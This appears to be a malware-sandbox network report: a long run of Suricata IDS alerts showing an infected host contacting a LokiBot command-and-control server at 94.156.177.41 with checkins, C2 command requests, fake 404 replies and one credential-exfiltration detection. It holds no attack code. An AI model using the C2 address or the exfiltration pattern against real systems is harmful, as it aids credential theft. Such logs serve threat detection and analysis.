Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49188 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49188 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49187 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49177
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49187
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49182
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49188
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49168 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49171
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49195
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49190
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49185
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49205 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49210 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49205
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49222 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49233 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49233 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49206
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49178 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49186
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49227 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49207 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49225 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49225 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49225 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49203
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49245 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49227
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49222 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49199
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49229 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49194 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49229 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49225 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49225 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49174 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49233 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49213
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49178
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49228 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49214
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49222 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49189
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49225
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49210
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49222 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49207
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49233 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49228
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49233 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49229 -> 94.156.177.41:80
